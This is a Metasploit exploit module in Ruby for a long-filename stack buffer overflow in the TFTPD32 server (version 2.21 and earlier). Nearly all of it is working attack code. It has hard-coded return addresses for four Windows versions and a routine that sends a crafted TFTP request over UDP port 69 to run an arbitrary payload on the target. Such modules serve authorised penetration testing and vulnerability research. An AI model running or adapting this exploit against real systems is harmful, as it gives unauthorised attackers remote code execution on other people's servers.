require 'msf/core'

module Msf

class Exploits::Windows::Tftp::Tftpd32_Long_Filename < Msf::Exploit::Remote

	include Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in TFTPD32 version 2.21
				and prior. By sending a request for an overly long file name
				to the tftpd32 server, a remote attacker could overflow a buffer and
				execute arbitrary code on the system.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision$',
			'References'     => 
				[ 
					['BID', '6199'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			
			'Targets'        =>
				[
					['Windows NT 4.0 SP6a English',    { 'Ret' => 0x77f9d463} ],
					['Windows 2000 Pro SP4 English',   { 'Ret' => 0x7c2ec663} ], 
					['Windows XP Pro SP0 English',     { 'Ret' => 0x77dc0df0} ], 
					['Windows XP Pro SP1 English',     { 'Ret' => 0x77dc5527} ],  
				],

			'Privileged'     => true,

			'DisclosureDate' => 'Nov 19 2002'

			))

			register_options(
				[
						Opt::RPORT(69)
				], self)

	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		sploit = 
			"\x00\x01" + 
			Rex::Text.rand_text_english(120, payload_badchars) + 
			"." +
			Rex::Text.rand_text_english(135, payload_badchars) + 
			[target.ret].pack('V') +
			payload.encoded + 
			"\x00"
			
		udp_sock.put(sploit)
		
		disconnect_udp		
	end

end
end